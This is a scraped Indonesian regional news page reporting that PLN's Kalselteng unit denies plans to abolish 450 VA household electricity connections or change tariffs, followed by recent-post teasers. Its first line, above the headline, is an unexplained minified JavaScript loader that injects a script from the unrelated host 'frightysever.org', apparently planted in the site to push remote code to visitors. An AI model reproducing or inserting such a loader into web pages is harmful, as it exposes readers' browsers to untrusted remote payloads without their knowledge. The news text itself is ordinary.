(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

PLN Kalselteng: Tidak Ada Penghapusan Daya 450 VA dan Perubahan Tarif Listrik


KANALKALIMANTAN.COM, BANJARBARU – Kabar gembira bagi warga pemakai daya listrik 450 Volt Ampere (VA), PT PLN (Persero) Unit Induk Wilayah Kalimantan Selatan dan Kalimantan Tengah (UIW Kalselteng) memastikan tidak ada penghapusan atau pengalihdayaan pelanggan listrik dengan daya 450 VA.

Daya listrik 450 VA juga tidak akan dinaikkan menjadi 900 VA dan tidak ada perubahan tarif listrik.

Hal itu disampaikan, GM PLN UIW Kalselteng Abdul Rohim melalui Manager Customer Experience, Ady Ariefianto, sampai dengan 17 September 2022 kemarin, PLN memastikan tidak ada penghapusan dan kenaikan daya listrik 450 VA tersebut.

“Ini merupakan rilis dari PLN pusat. Kita masih belum tahu regulasi ke depan, yang pasti sampai hari ini belum ada penghapusan daya 450 VA tersebut,” tegasnya.

 

 

Baca juga: Jalan Longsor Km 171 Tanbu Ditutup, Ini Jalur Alternatif Banjarmasin-Batulicin

Ady menyampaikan, kalau kedepan ada perubahan atau hal yang lain pihaknya masih belum tahu.

“Karena ini keputusan PLN pusat jadi kami masih belum tau kedepannya,” ucapnya.

 

Sementara untuk tarif daya 450 VA dan 900 VA itu masih menerima subsidi dari pemerintah, ditandai oleh daftar pelanggan yang memang terdapat di data Terpadu Kesejahteraan Sosial (TKS).

“Jadi itu biasanya inline dari tim pemerintah yang mendata tentang calon pelanggan penerima subsidi, terintegrasi dengan pelanggan yang mendapat bantuan kemudian diselaraskan dengan data PLN sebagai penerima daya 450 VA dan sebagian 900 VA,” tuturnya.

Baca juga: Gelaran Banjarmasin Sasirangan Festival ke-6, Ibnu Sina: Kain Lagundi Cikal Bakal Kain Sasirangan

Ady menambahkan, untuk daya 1.300 VA dan 2.200 VA memang sudah ada regulasi tarif sendiri dan daya di atas 2.200 VA juga ada regulasi tarif tersendiri.

Diketahui sebelumnya, Banggar DPR RI mengusulkan agar daya listrik 450 VA dihapus untuk kelompok rumah tangga miskin dan akan dialihkan secara bertahap menggunakan daya listrik 900 VA.

Usulan penghapusan daya listrik 450 VA ini berawal dari kondisi PLN yang terus mengalami oversupply listrik. Kondisi surplus listrik ini diperkirakan mencapai 41 gigawatt (GW) pada tahun 2030, seiring dengan penerapan energi baru terbarukan (EBT).(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

15 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.